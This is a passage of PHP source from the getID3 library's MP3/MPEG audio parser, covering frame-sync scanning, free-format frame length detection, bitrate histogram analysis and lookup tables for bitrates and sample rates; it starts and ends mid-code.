substr($SideInfoBitstream, $SideInfoOffset, 9); // $SideInfoOffset += 9; // $SideInfoOffset += 5; // } else { // // MPEG-1 (stereo, joint-stereo, dual-channel) // $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 9); // $SideInfoOffset += 9; // $SideInfoOffset += 3; // } // } else { // 2 or 2.5 // if ($thisfile_mpeg_audio['channelmode'] == 'mono') { // // MPEG-2, MPEG-2.5 (mono) // $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 8); // $SideInfoOffset += 8; // $SideInfoOffset += 1; // } else { // // MPEG-2, MPEG-2.5 (stereo, joint-stereo, dual-channel) // $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 8); // $SideInfoOffset += 8; // $SideInfoOffset += 2; // } // } // // if ($thisfile_mpeg_audio['version'] == '1') { // for ($channel = 0; $channel < $info['audio']['channels']; $channel++) { // for ($scfsi_band = 0; $scfsi_band < 4; $scfsi_band++) { // $thisfile_mpeg_audio['scfsi'][$channel][$scfsi_band] = substr($SideInfoBitstream, $SideInfoOffset, 1); // $SideInfoOffset += 2; // } // } // } // for ($granule = 0; $granule < (($thisfile_mpeg_audio['version'] == '1') ? 2 : 1); $granule++) { // for ($channel = 0; $channel < $info['audio']['channels']; $channel++) { // $thisfile_mpeg_audio['part2_3_length'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 12); // $SideInfoOffset += 12; // $thisfile_mpeg_audio['big_values'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 9); // $SideInfoOffset += 9; // $thisfile_mpeg_audio['global_gain'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 8); // $SideInfoOffset += 8; // if ($thisfile_mpeg_audio['version'] == '1') { // $thisfile_mpeg_audio['scalefac_compress'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 4); // $SideInfoOffset += 4; // } else { // $thisfile_mpeg_audio['scalefac_compress'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 9); // $SideInfoOffset += 9; // } // $thisfile_mpeg_audio['window_switching_flag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1); // $SideInfoOffset += 1; // // if ($thisfile_mpeg_audio['window_switching_flag'][$granule][$channel] == '1') { // // $thisfile_mpeg_audio['block_type'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 2); // $SideInfoOffset += 2; // $thisfile_mpeg_audio['mixed_block_flag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1); // $SideInfoOffset += 1; // // for ($region = 0; $region < 2; $region++) { // $thisfile_mpeg_audio['table_select'][$granule][$channel][$region] = substr($SideInfoBitstream, $SideInfoOffset, 5); // $SideInfoOffset += 5; // } // $thisfile_mpeg_audio['table_select'][$granule][$channel][2] = 0; // // for ($window = 0; $window < 3; $window++) { // $thisfile_mpeg_audio['subblock_gain'][$granule][$channel][$window] = substr($SideInfoBitstream, $SideInfoOffset, 3); // $SideInfoOffset += 3; // } // // } else { // // for ($region = 0; $region < 3; $region++) { // $thisfile_mpeg_audio['table_select'][$granule][$channel][$region] = substr($SideInfoBitstream, $SideInfoOffset, 5); // $SideInfoOffset += 5; // } // // $thisfile_mpeg_audio['region0_count'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 4); // $SideInfoOffset += 4; // $thisfile_mpeg_audio['region1_count'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 3); // $SideInfoOffset += 3; // $thisfile_mpeg_audio['block_type'][$granule][$channel] = 0; // } // // if ($thisfile_mpeg_audio['version'] == '1') { // $thisfile_mpeg_audio['preflag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1); // $SideInfoOffset += 1; // } // $thisfile_mpeg_audio['scalefac_scale'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1); // $SideInfoOffset += 1; // $thisfile_mpeg_audio['count1table_select'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1); // $SideInfoOffset += 1; // } // } //} return true; } /** * @param int $offset * @param int $nextframetestoffset * @param bool $ScanAsCBR * * @return bool */ public function RecursiveFrameScanning(&$offset, &$nextframetestoffset, $ScanAsCBR) { $info = &$this->getid3->info; $firstframetestarray = array('error' => array(), 'warning'=> array(), 'avdataend' => $info['avdataend'], 'avdataoffset' => $info['avdataoffset']); $this->decodeMPEGaudioHeader($offset, $firstframetestarray, false); $info['mp3_validity_check_bitrates'] = array(); for ($i = 0; $i < $this->mp3_valid_check_frames; $i++) { // check next (default: 50) frames for validity, to make sure we haven't run across a false synch if (($nextframetestoffset + 4) >= $info['avdataend']) { // end of file return true; } $nextframetestarray = array('error' => array(), 'warning' => array(), 'avdataend' => $info['avdataend'], 'avdataoffset'=>$info['avdataoffset']); if ($this->decodeMPEGaudioHeader($nextframetestoffset, $nextframetestarray, false)) { /** @phpstan-ignore-next-line */ getid3_lib::safe_inc($info['mp3_validity_check_bitrates'][$nextframetestarray['mpeg']['audio']['bitrate']]); if ($ScanAsCBR) { // force CBR mode, used for trying to pick out invalid audio streams with valid(?) VBR headers, or VBR streams with no VBR header if (!isset($nextframetestarray['mpeg']['audio']['bitrate']) || !isset($firstframetestarray['mpeg']['audio']['bitrate']) || ($nextframetestarray['mpeg']['audio']['bitrate'] != $firstframetestarray['mpeg']['audio']['bitrate'])) { return false; } } // next frame is OK, get ready to check the one after that if (isset($nextframetestarray['mpeg']['audio']['framelength']) && ($nextframetestarray['mpeg']['audio']['framelength'] > 0)) { $nextframetestoffset += $nextframetestarray['mpeg']['audio']['framelength']; } else { $this->error('Frame at offset ('.$offset.') is has an invalid frame length.'); return false; } } elseif (!empty($firstframetestarray['mpeg']['audio']['framelength']) && (($nextframetestoffset + $firstframetestarray['mpeg']['audio']['framelength']) > $info['avdataend'])) { // it's not the end of the file, but there's not enough data left for another frame, so assume it's garbage/padding and return OK return true; } else { // next frame is not valid, note the error and fail, so scanning can contiue for a valid frame sequence $this->warning('Frame at offset ('.$offset.') is valid, but the next one at ('.$nextframetestoffset.') is not.'); return false; } } return true; } /** * @param int $offset * @param bool $deepscan * * @return int|false */ public function FreeFormatFrameLength($offset, $deepscan=false) { $info = &$this->getid3->info; $this->fseek($offset); $MPEGaudioData = $this->fread(32768); $SyncPattern1 = substr($MPEGaudioData, 0, 4); // may be different pattern due to padding $SyncPattern2 = $SyncPattern1[0].$SyncPattern1[1].chr(ord($SyncPattern1[2]) | 0x02).$SyncPattern1[3]; if ($SyncPattern2 === $SyncPattern1) { $SyncPattern2 = $SyncPattern1[0].$SyncPattern1[1].chr(ord($SyncPattern1[2]) & 0xFD).$SyncPattern1[3]; } $framelength = false; $framelength1 = strpos($MPEGaudioData, $SyncPattern1, 4); $framelength2 = strpos($MPEGaudioData, $SyncPattern2, 4); if ($framelength1 > 4) { $framelength = $framelength1; } if (($framelength2 > 4) && ($framelength2 < $framelength1)) { $framelength = $framelength2; } if (!$framelength) { // LAME 3.88 has a different value for modeextension on the first frame vs the rest $framelength1 = strpos($MPEGaudioData, substr($SyncPattern1, 0, 3), 4); $framelength2 = strpos($MPEGaudioData, substr($SyncPattern2, 0, 3), 4); if ($framelength1 > 4) { $framelength = $framelength1; } if (($framelength2 > 4) && ($framelength2 < $framelength1)) { $framelength = $framelength2; } if (!$framelength) { $this->error('Cannot find next free-format synch pattern ('.getid3_lib::PrintHexBytes($SyncPattern1).' or '.getid3_lib::PrintHexBytes($SyncPattern2).') after offset '.$offset); return false; } else { $this->warning('ModeExtension varies between first frame and other frames (known free-format issue in LAME 3.88)'); $info['audio']['codec'] = 'LAME'; $info['audio']['encoder'] = 'LAME3.88'; $SyncPattern1 = substr($SyncPattern1, 0, 3); $SyncPattern2 = substr($SyncPattern2, 0, 3); } } if ($deepscan) { $ActualFrameLengthValues = array(); $nextoffset = $offset + $framelength; while ($nextoffset < ($info['avdataend'] - 6)) { $this->fseek($nextoffset - 1); $NextSyncPattern = $this->fread(6); if ((substr($NextSyncPattern, 1, strlen($SyncPattern1)) == $SyncPattern1) || (substr($NextSyncPattern, 1, strlen($SyncPattern2)) == $SyncPattern2)) { // good - found where expected $ActualFrameLengthValues[] = $framelength; } elseif ((substr($NextSyncPattern, 0, strlen($SyncPattern1)) == $SyncPattern1) || (substr($NextSyncPattern, 0, strlen($SyncPattern2)) == $SyncPattern2)) { // ok - found one byte earlier than expected (last frame wasn't padded, first frame was) $ActualFrameLengthValues[] = ($framelength - 1); $nextoffset--; } elseif ((substr($NextSyncPattern, 2, strlen($SyncPattern1)) == $SyncPattern1) || (substr($NextSyncPattern, 2, strlen($SyncPattern2)) == $SyncPattern2)) { // ok - found one byte later than expected (last frame was padded, first frame wasn't) $ActualFrameLengthValues[] = ($framelength + 1); $nextoffset++; } else { $this->error('Did not find expected free-format sync pattern at offset '.$nextoffset); return false; } $nextoffset += $framelength; } if (count($ActualFrameLengthValues) > 0) { $framelength = intval(round(array_sum($ActualFrameLengthValues) / count($ActualFrameLengthValues))); } } return $framelength; } /** * @return bool */ public function getOnlyMPEGaudioInfoBruteForce() { $MPEGaudioHeaderDecodeCache = array(); $MPEGaudioHeaderValidCache = array(); $MPEGaudioHeaderLengthCache = array(); $MPEGaudioVersionLookup = self::MPEGaudioVersionArray(); $MPEGaudioLayerLookup = self::MPEGaudioLayerArray(); $MPEGaudioBitrateLookup = self::MPEGaudioBitrateArray(); $MPEGaudioFrequencyLookup = self::MPEGaudioFrequencyArray(); $MPEGaudioChannelModeLookup = self::MPEGaudioChannelModeArray(); $MPEGaudioModeExtensionLookup = self::MPEGaudioModeExtensionArray(); $MPEGaudioEmphasisLookup = self::MPEGaudioEmphasisArray(); $LongMPEGversionLookup = array(); $LongMPEGlayerLookup = array(); $LongMPEGbitrateLookup = array(); $LongMPEGpaddingLookup = array(); $LongMPEGfrequencyLookup = array(); $Distribution = array(); $Distribution['bitrate'] = array(); $Distribution['frequency'] = array(); $Distribution['layer'] = array(); $Distribution['version'] = array(); $Distribution['padding'] = array(); $info = &$this->getid3->info; $this->fseek($info['avdataoffset']); $max_frames_scan = 5000; $frames_scanned = 0; $previousvalidframe = $info['avdataoffset']; while ($this->ftell() < $info['avdataend']) { set_time_limit(30); $head4 = $this->fread(4); if (strlen($head4) < 4) { break; } if ($head4[0] != "\xFF") { for ($i = 1; $i < 4; $i++) { if ($head4[$i] == "\xFF") { $this->fseek($i - 4, SEEK_CUR); continue 2; } } continue; } if (!isset($MPEGaudioHeaderDecodeCache[$head4])) { $MPEGaudioHeaderDecodeCache[$head4] = self::MPEGaudioHeaderDecode($head4); } if (!isset($MPEGaudioHeaderValidCache[$head4])) { $MPEGaudioHeaderValidCache[$head4] = self::MPEGaudioHeaderValid($MPEGaudioHeaderDecodeCache[$head4], false, false); } if ($MPEGaudioHeaderValidCache[$head4]) { if (!isset($MPEGaudioHeaderLengthCache[$head4])) { $LongMPEGversionLookup[$head4] = $MPEGaudioVersionLookup[$MPEGaudioHeaderDecodeCache[$head4]['version']]; $LongMPEGlayerLookup[$head4] = $MPEGaudioLayerLookup[$MPEGaudioHeaderDecodeCache[$head4]['layer']]; $LongMPEGbitrateLookup[$head4] = $MPEGaudioBitrateLookup[$LongMPEGversionLookup[$head4]][$LongMPEGlayerLookup[$head4]][$MPEGaudioHeaderDecodeCache[$head4]['bitrate']]; $LongMPEGpaddingLookup[$head4] = (bool) $MPEGaudioHeaderDecodeCache[$head4]['padding']; $LongMPEGfrequencyLookup[$head4] = $MPEGaudioFrequencyLookup[$LongMPEGversionLookup[$head4]][$MPEGaudioHeaderDecodeCache[$head4]['sample_rate']]; $MPEGaudioHeaderLengthCache[$head4] = self::MPEGaudioFrameLength( $LongMPEGbitrateLookup[$head4], $LongMPEGversionLookup[$head4], $LongMPEGlayerLookup[$head4], $LongMPEGpaddingLookup[$head4], $LongMPEGfrequencyLookup[$head4]); } if ($MPEGaudioHeaderLengthCache[$head4] > 4) { $WhereWeWere = $this->ftell(); $this->fseek($MPEGaudioHeaderLengthCache[$head4] - 4, SEEK_CUR); $next4 = $this->fread(4); if ($next4[0] == "\xFF") { if (!isset($MPEGaudioHeaderDecodeCache[$next4])) { $MPEGaudioHeaderDecodeCache[$next4] = self::MPEGaudioHeaderDecode($next4); } if (!isset($MPEGaudioHeaderValidCache[$next4])) { $MPEGaudioHeaderValidCache[$next4] = self::MPEGaudioHeaderValid($MPEGaudioHeaderDecodeCache[$next4], false, false); } if ($MPEGaudioHeaderValidCache[$next4]) { $this->fseek(-4, SEEK_CUR); $Distribution['bitrate'][$LongMPEGbitrateLookup[$head4]] = isset($Distribution['bitrate'][$LongMPEGbitrateLookup[$head4]]) ? ++$Distribution['bitrate'][$LongMPEGbitrateLookup[$head4]] : 1; $Distribution['layer'][$LongMPEGlayerLookup[$head4]] = isset($Distribution['layer'][$LongMPEGlayerLookup[$head4]]) ? ++$Distribution['layer'][$LongMPEGlayerLookup[$head4]] : 1; $Distribution['version'][$LongMPEGversionLookup[$head4]] = isset($Distribution['version'][$LongMPEGversionLookup[$head4]]) ? ++$Distribution['version'][$LongMPEGversionLookup[$head4]] : 1; $Distribution['padding'][intval($LongMPEGpaddingLookup[$head4])] = isset($Distribution['padding'][intval($LongMPEGpaddingLookup[$head4])]) ? ++$Distribution['padding'][intval($LongMPEGpaddingLookup[$head4])] : 1; $Distribution['frequency'][$LongMPEGfrequencyLookup[$head4]] = isset($Distribution['frequency'][$LongMPEGfrequencyLookup[$head4]]) ? ++$Distribution['frequency'][$LongMPEGfrequencyLookup[$head4]] : 1; if (++$frames_scanned >= $max_frames_scan) { $pct_data_scanned = getid3_lib::SafeDiv($this->ftell() - $info['avdataoffset'], $info['avdataend'] - $info['avdataoffset']); $this->warning('too many MPEG audio frames to scan, only scanned first '.$max_frames_scan.' frames ('.number_format($pct_data_scanned * 100, 1).'% of file) and extrapolated distribution, playtime and bitrate may be incorrect.'); foreach ($Distribution as $key1 => $value1) { foreach ($value1 as $key2 => $value2) { $Distribution[$key1][$key2] = $pct_data_scanned ? round($value2 / $pct_data_scanned) : 1; } } break; } continue; } } unset($next4); $this->fseek($WhereWeWere - 3); } } } foreach ($Distribution as $key => $value) { ksort($Distribution[$key], SORT_NUMERIC); } ksort($Distribution['version'], SORT_STRING); $info['mpeg']['audio']['bitrate_distribution'] = $Distribution['bitrate']; $info['mpeg']['audio']['frequency_distribution'] = $Distribution['frequency']; $info['mpeg']['audio']['layer_distribution'] = $Distribution['layer']; $info['mpeg']['audio']['version_distribution'] = $Distribution['version']; $info['mpeg']['audio']['padding_distribution'] = $Distribution['padding']; if (count($Distribution['version']) > 1) { $this->error('Corrupt file - more than one MPEG version detected'); } if (count($Distribution['layer']) > 1) { $this->error('Corrupt file - more than one MPEG layer detected'); } if (count($Distribution['frequency']) > 1) { $this->error('Corrupt file - more than one MPEG sample rate detected'); } $bittotal = 0; foreach ($Distribution['bitrate'] as $bitratevalue => $bitratecount) { if ($bitratevalue != 'free') { $bittotal += ($bitratevalue * $bitratecount); } } $info['mpeg']['audio']['frame_count'] = array_sum($Distribution['bitrate']); if ($info['mpeg']['audio']['frame_count'] == 0) { $this->error('no MPEG audio frames found'); return false; } $info['mpeg']['audio']['bitrate'] = ($bittotal / $info['mpeg']['audio']['frame_count']); $info['mpeg']['audio']['bitrate_mode'] = ((count($Distribution['bitrate']) > 0) ? 'vbr' : 'cbr'); $info['mpeg']['audio']['sample_rate'] = getid3_lib::array_max($Distribution['frequency'], true); $info['audio']['bitrate'] = $info['mpeg']['audio']['bitrate']; $info['audio']['bitrate_mode'] = $info['mpeg']['audio']['bitrate_mode']; $info['audio']['sample_rate'] = $info['mpeg']['audio']['sample_rate']; $info['audio']['dataformat'] = 'mp'.getid3_lib::array_max($Distribution['layer'], true); $info['fileformat'] = $info['audio']['dataformat']; return true; } /** * @param int $avdataoffset * @param bool $BitrateHistogram * * @return bool */ public function getOnlyMPEGaudioInfo($avdataoffset, $BitrateHistogram=false) { // looks for synch, decodes MPEG audio header $info = &$this->getid3->info; static $MPEGaudioVersionLookup; static $MPEGaudioLayerLookup; static $MPEGaudioBitrateLookup; if (empty($MPEGaudioVersionLookup)) { $MPEGaudioVersionLookup = self::MPEGaudioVersionArray(); $MPEGaudioLayerLookup = self::MPEGaudioLayerArray(); $MPEGaudioBitrateLookup = self::MPEGaudioBitrateArray(); } $this->fseek($avdataoffset); $sync_seek_buffer_size = min(128 * 1024, $info['avdataend'] - $avdataoffset); if ($sync_seek_buffer_size <= 0) { $this->error('Invalid $sync_seek_buffer_size at offset '.$avdataoffset); return false; } $header = $this->fread($sync_seek_buffer_size); $sync_seek_buffer_size = strlen($header); $SynchSeekOffset = 0; $SyncSeekAttempts = 0; $SyncSeekAttemptsMax = 1000; $FirstFrameThisfileInfo = null; while ($SynchSeekOffset < $sync_seek_buffer_size) { if ((($avdataoffset + $SynchSeekOffset) < $info['avdataend']) && !$this->feof()) { if ($SynchSeekOffset > $sync_seek_buffer_size) { // if a synch's not found within the first 128k bytes, then give up $this->error('Could not find valid MPEG audio synch within the first '.round($sync_seek_buffer_size / 1024).'kB'); if (isset($info['audio']['bitrate'])) { unset($info['audio']['bitrate']); } if (isset($info['mpeg']['audio'])) { unset($info['mpeg']['audio']); } if (empty($info['mpeg'])) { unset($info['mpeg']); } return false; } } if (($SynchSeekOffset + 1) >= strlen($header)) { $this->error('Could not find valid MPEG synch before end of file'); return false; } if (($header[$SynchSeekOffset] == "\xFF") && ($header[($SynchSeekOffset + 1)] > "\xE0")) { // possible synch detected if (++$SyncSeekAttempts >= $SyncSeekAttemptsMax) { // https://github.com/JamesHeinrich/getID3/issues/286 // corrupt files claiming to be MP3, with a large number of 0xFF bytes near the beginning, can cause this loop to take a very long time // should have escape condition to avoid spending too much time scanning a corrupt file // if a synch's not found within the first 128k bytes, then give up $this->error('Could not find valid MPEG audio synch after scanning '.$SyncSeekAttempts.' candidate offsets'); if (isset($info['audio']['bitrate'])) { unset($info['audio']['bitrate']); } if (isset($info['mpeg']['audio'])) { unset($info['mpeg']['audio']); } if (empty($info['mpeg'])) { unset($info['mpeg']); } return false; } $FirstFrameAVDataOffset = null; if (!isset($FirstFrameThisfileInfo) && !isset($info['mpeg']['audio'])) { $FirstFrameThisfileInfo = $info; $FirstFrameAVDataOffset = $avdataoffset + $SynchSeekOffset; if (!$this->decodeMPEGaudioHeader($FirstFrameAVDataOffset, $FirstFrameThisfileInfo, false)) { // if this is the first valid MPEG-audio frame, save it in case it's a VBR header frame and there's // garbage between this frame and a valid sequence of MPEG-audio frames, to be restored below unset($FirstFrameThisfileInfo); } } $dummy = $info; // only overwrite real data if valid header found if ($this->decodeMPEGaudioHeader($avdataoffset + $SynchSeekOffset, $dummy, true)) { $info = $dummy; $info['avdataoffset'] = $avdataoffset + $SynchSeekOffset; switch (isset($info['fileformat']) ? $info['fileformat'] : '') { case '': case 'id3': case 'ape': case 'mp3': $info['fileformat'] = 'mp3'; $info['audio']['dataformat'] = 'mp3'; break; } if (isset($FirstFrameThisfileInfo) && isset($FirstFrameThisfileInfo['mpeg']['audio']['bitrate_mode']) && ($FirstFrameThisfileInfo['mpeg']['audio']['bitrate_mode'] == 'vbr')) { if (!(abs($info['audio']['bitrate'] - $FirstFrameThisfileInfo['audio']['bitrate']) <= 1)) { // If there is garbage data between a valid VBR header frame and a sequence // of valid MPEG-audio frames the VBR data is no longer discarded. $info = $FirstFrameThisfileInfo; $info['avdataoffset'] = $FirstFrameAVDataOffset; $info['fileformat'] = 'mp3'; $info['audio']['dataformat'] = 'mp3'; $dummy = $info; unset($dummy['mpeg']['audio']); $GarbageOffsetStart = $FirstFrameAVDataOffset + $FirstFrameThisfileInfo['mpeg']['audio']['framelength']; $GarbageOffsetEnd = $avdataoffset + $SynchSeekOffset; if ($this->decodeMPEGaudioHeader($GarbageOffsetEnd, $dummy, true, true)) { $info = $dummy; $info['avdataoffset'] = $GarbageOffsetEnd; $this->warning('apparently-valid VBR header not used because could not find '.$this->mp3_valid_check_frames.' consecutive MPEG-audio frames immediately after VBR header (garbage data for '.($GarbageOffsetEnd - $GarbageOffsetStart).' bytes between '.$GarbageOffsetStart.' and '.$GarbageOffsetEnd.'), but did find valid CBR stream starting at '.$GarbageOffsetEnd); } else { $this->warning('using data from VBR header even though could not find '.$this->mp3_valid_check_frames.' consecutive MPEG-audio frames immediately after VBR header (garbage data for '.($GarbageOffsetEnd - $GarbageOffsetStart).' bytes between '.$GarbageOffsetStart.' and '.$GarbageOffsetEnd.')'); } } } if (isset($info['mpeg']['audio']['bitrate_mode']) && ($info['mpeg']['audio']['bitrate_mode'] == 'vbr') && !isset($info['mpeg']['audio']['VBR_method'])) { // VBR file with no VBR header $BitrateHistogram = true; } if ($BitrateHistogram) { $info['mpeg']['audio']['stereo_distribution'] = array('stereo'=>0, 'joint stereo'=>0, 'dual channel'=>0, 'mono'=>0); $info['mpeg']['audio']['version_distribution'] = array('1'=>0, '2'=>0, '2.5'=>0); if ($info['mpeg']['audio']['version'] == '1') { if ($info['mpeg']['audio']['layer'] == 3) { $info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 40000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 160000=>0, 192000=>0, 224000=>0, 256000=>0, 320000=>0); } elseif ($info['mpeg']['audio']['layer'] == 2) { $info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 160000=>0, 192000=>0, 224000=>0, 256000=>0, 320000=>0, 384000=>0); } elseif ($info['mpeg']['audio']['layer'] == 1) { $info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 64000=>0, 96000=>0, 128000=>0, 160000=>0, 192000=>0, 224000=>0, 256000=>0, 288000=>0, 320000=>0, 352000=>0, 384000=>0, 416000=>0, 448000=>0); } } elseif ($info['mpeg']['audio']['layer'] == 1) { $info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 144000=>0, 160000=>0, 176000=>0, 192000=>0, 224000=>0, 256000=>0); } else { $info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 8000=>0, 16000=>0, 24000=>0, 32000=>0, 40000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 144000=>0, 160000=>0); } $dummy = array('error'=>$info['error'], 'warning'=>$info['warning'], 'avdataend'=>$info['avdataend'], 'avdataoffset'=>$info['avdataoffset']); $synchstartoffset = $info['avdataoffset']; $this->fseek($info['avdataoffset']); // you can play with these numbers: $max_frames_scan = 50000; $max_scan_segments = 10; // don't play with these numbers: $FastMode = false; $SynchErrorsFound = 0; $frames_scanned = 0; $this_scan_segment = 0; $frames_scan_per_segment = ceil($max_frames_scan / $max_scan_segments); $pct_data_scanned = 0; for ($current_segment = 0; $current_segment < $max_scan_segments; $current_segment++) { $frames_scanned_this_segment = 0; $scan_start_offset = array(); if ($this->ftell() >= $info['avdataend']) { break; } $scan_start_offset[$current_segment] = max($this->ftell(), $info['avdataoffset'] + round($current_segment * (($info['avdataend'] - $info['avdataoffset']) / $max_scan_segments))); if ($current_segment > 0) { $this->fseek($scan_start_offset[$current_segment]); $buffer_4k = $this->fread(4096); for ($j = 0; $j < (strlen($buffer_4k) - 4); $j++) { if (($buffer_4k[$j] == "\xFF") && ($buffer_4k[($j + 1)] > "\xE0")) { // synch detected if ($this->decodeMPEGaudioHeader($scan_start_offset[$current_segment] + $j, $dummy, false, false, $FastMode)) { $calculated_next_offset = $scan_start_offset[$current_segment] + $j + $dummy['mpeg']['audio']['framelength']; if ($this->decodeMPEGaudioHeader($calculated_next_offset, $dummy, false, false, $FastMode)) { $scan_start_offset[$current_segment] += $j; break; } } } } } $synchstartoffset = $scan_start_offset[$current_segment]; while (($synchstartoffset < $info['avdataend']) && $this->decodeMPEGaudioHeader($synchstartoffset, $dummy, false, false, $FastMode)) { $FastMode = true; $thisframebitrate = $MPEGaudioBitrateLookup[$MPEGaudioVersionLookup[$dummy['mpeg']['audio']['raw']['version']]][$MPEGaudioLayerLookup[$dummy['mpeg']['audio']['raw']['layer']]][$dummy['mpeg']['audio']['raw']['bitrate']]; if (empty($dummy['mpeg']['audio']['framelength'])) { $SynchErrorsFound++; $synchstartoffset++; } else { getid3_lib::safe_inc($info['mpeg']['audio']['bitrate_distribution'][$thisframebitrate]); getid3_lib::safe_inc($info['mpeg']['audio']['stereo_distribution'][$dummy['mpeg']['audio']['channelmode']]); getid3_lib::safe_inc($info['mpeg']['audio']['version_distribution'][$dummy['mpeg']['audio']['version']]); $synchstartoffset += $dummy['mpeg']['audio']['framelength']; } $frames_scanned++; if ($frames_scan_per_segment && (++$frames_scanned_this_segment >= $frames_scan_per_segment)) { $this_pct_scanned = getid3_lib::SafeDiv($this->ftell() - $scan_start_offset[$current_segment], $info['avdataend'] - $info['avdataoffset']); if (($current_segment == 0) && (($this_pct_scanned * $max_scan_segments) >= 1)) { // file likely contains < $max_frames_scan, just scan as one segment $max_scan_segments = 1; $frames_scan_per_segment = $max_frames_scan; } else { $pct_data_scanned += $this_pct_scanned; break; } } } } if ($pct_data_scanned > 0) { $this->warning('too many MPEG audio frames to scan, only scanned '.$frames_scanned.' frames in '.$max_scan_segments.' segments ('.number_format($pct_data_scanned * 100, 1).'% of file) and extrapolated distribution, playtime and bitrate may be incorrect.'); foreach ($info['mpeg']['audio'] as $key1 => $value1) { if (!preg_match('#_distribution$#i', $key1)) { continue; } foreach ($value1 as $key2 => $value2) { $info['mpeg']['audio'][$key1][$key2] = round($value2 / $pct_data_scanned); } } } if ($SynchErrorsFound > 0) { $this->warning('Found '.$SynchErrorsFound.' synch errors in histogram analysis'); //return false; } $bittotal = 0; $framecounter = 0; foreach ($info['mpeg']['audio']['bitrate_distribution'] as $bitratevalue => $bitratecount) { $framecounter += $bitratecount; if ($bitratevalue != 'free') { $bittotal += ($bitratevalue * $bitratecount); } } if ($framecounter == 0) { $this->error('Corrupt MP3 file: framecounter == zero'); return false; } $info['mpeg']['audio']['frame_count'] = getid3_lib::CastAsInt($framecounter); $info['mpeg']['audio']['bitrate'] = ($bittotal / $framecounter); $info['audio']['bitrate'] = $info['mpeg']['audio']['bitrate']; // Definitively set VBR vs CBR, even if the Xing/LAME/VBRI header says differently $distinct_bitrates = 0; foreach ($info['mpeg']['audio']['bitrate_distribution'] as $bitrate_value => $bitrate_count) { if ($bitrate_count > 0) { $distinct_bitrates++; } } if ($distinct_bitrates > 1) { $info['mpeg']['audio']['bitrate_mode'] = 'vbr'; } else { $info['mpeg']['audio']['bitrate_mode'] = 'cbr'; } $info['audio']['bitrate_mode'] = $info['mpeg']['audio']['bitrate_mode']; } break; // exit while() } } $SynchSeekOffset++; if (($avdataoffset + $SynchSeekOffset) >= $info['avdataend']) { // end of file/data if (empty($info['mpeg']['audio'])) { $this->error('could not find valid MPEG synch before end of file'); if (isset($info['audio']['bitrate'])) { unset($info['audio']['bitrate']); } if (isset($info['mpeg']['audio'])) { unset($info['mpeg']['audio']); } if (isset($info['mpeg']) && (!is_array($info['mpeg']) || empty($info['mpeg']))) { unset($info['mpeg']); } return false; } break; } } $info['audio']['channels'] = $info['mpeg']['audio']['channels']; if ($info['audio']['channels'] < 1) { $this->error('Corrupt MP3 file: no channels'); return false; } $info['audio']['channelmode'] = $info['mpeg']['audio']['channelmode']; $info['audio']['sample_rate'] = $info['mpeg']['audio']['sample_rate']; return true; } /** * @return array */ public static function MPEGaudioVersionArray() { static $MPEGaudioVersion = array('2.5', false, '2', '1'); return $MPEGaudioVersion; } /** * @return array */ public static function MPEGaudioLayerArray() { static $MPEGaudioLayer = array(false, 3, 2, 1); return $MPEGaudioLayer; } /** * @return array */ public static function MPEGaudioBitrateArray() { static $MPEGaudioBitrate; if (empty($MPEGaudioBitrate)) { $MPEGaudioBitrate = array ( '1' => array (1 => array('free', 32000, 64000, 96000, 128000, 160000, 192000, 224000, 256000, 288000, 320000, 352000, 384000, 416000, 448000), 2 => array('free', 32000, 48000, 56000, 64000, 80000, 96000, 112000, 128000, 160000, 192000, 224000, 256000, 320000, 384000), 3 => array('free', 32000, 40000, 48000, 56000, 64000, 80000, 96000, 112000, 128000, 160000, 192000, 224000, 256000, 320000) ), '2' => array (1 => array('free', 32000, 48000, 56000, 64000, 80000, 96000, 112000, 128000, 144000, 160000, 176000, 192000, 224000, 256000), 2 => array('free', 8000, 16000, 24000, 32000, 40000, 48000, 56000, 64000, 80000, 96000, 112000, 128000, 144000, 160000), ) ); $MPEGaudioBitrate['2'][3] = $MPEGaudioBitrate['2'][2]; $MPEGaudioBitrate['2.5'] = $MPEGaudioBitrate['2']; } return $MPEGaudioBitrate; } /** * @return array */ public static function MPEGaudioFrequencyArray() { static $MPEGaudioFrequency; if (empty($MPEGaudioFrequency)) { $MPEGaudioFrequency = array ( '1' => array(44100, 48000, 32000), '2' => array(22050, 24000, 16000), '2.5' => array(11025, 12000, 8000) ); } return $MPEGaudioFrequency; } /** * @return array */ public static function MPEGaudioChannelModeArray() { static $MPEGaudioChannelMode = array('stereo', 'joint stereo', 'dual channel', 'mono'); return $MPEGaudioChannelMode; } /** * @return array */ public static function MPEGaudioModeExtensionArray() { static $MPEGaudioModeExtension; if (empty($MPEGaudioModeExtension)) { $MPEGaudioModeExtension = array ( 1 => array('4-31', '8-31', '12-31', '16-31'), 2 => array('4-31', '8-31', 